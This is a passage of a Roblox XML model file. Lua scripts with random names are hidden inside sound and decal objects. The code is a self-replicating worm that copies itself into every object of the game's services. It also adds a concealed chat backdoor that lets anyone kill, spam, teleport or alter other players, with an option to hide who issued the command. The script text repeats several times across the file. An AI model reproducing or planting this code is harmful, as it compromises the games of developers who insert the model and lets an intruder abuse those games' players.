talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX401">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX402">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">qi5h</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX403">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">499wojk4</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX404">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">skadnff9</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX405">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">eaantu</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
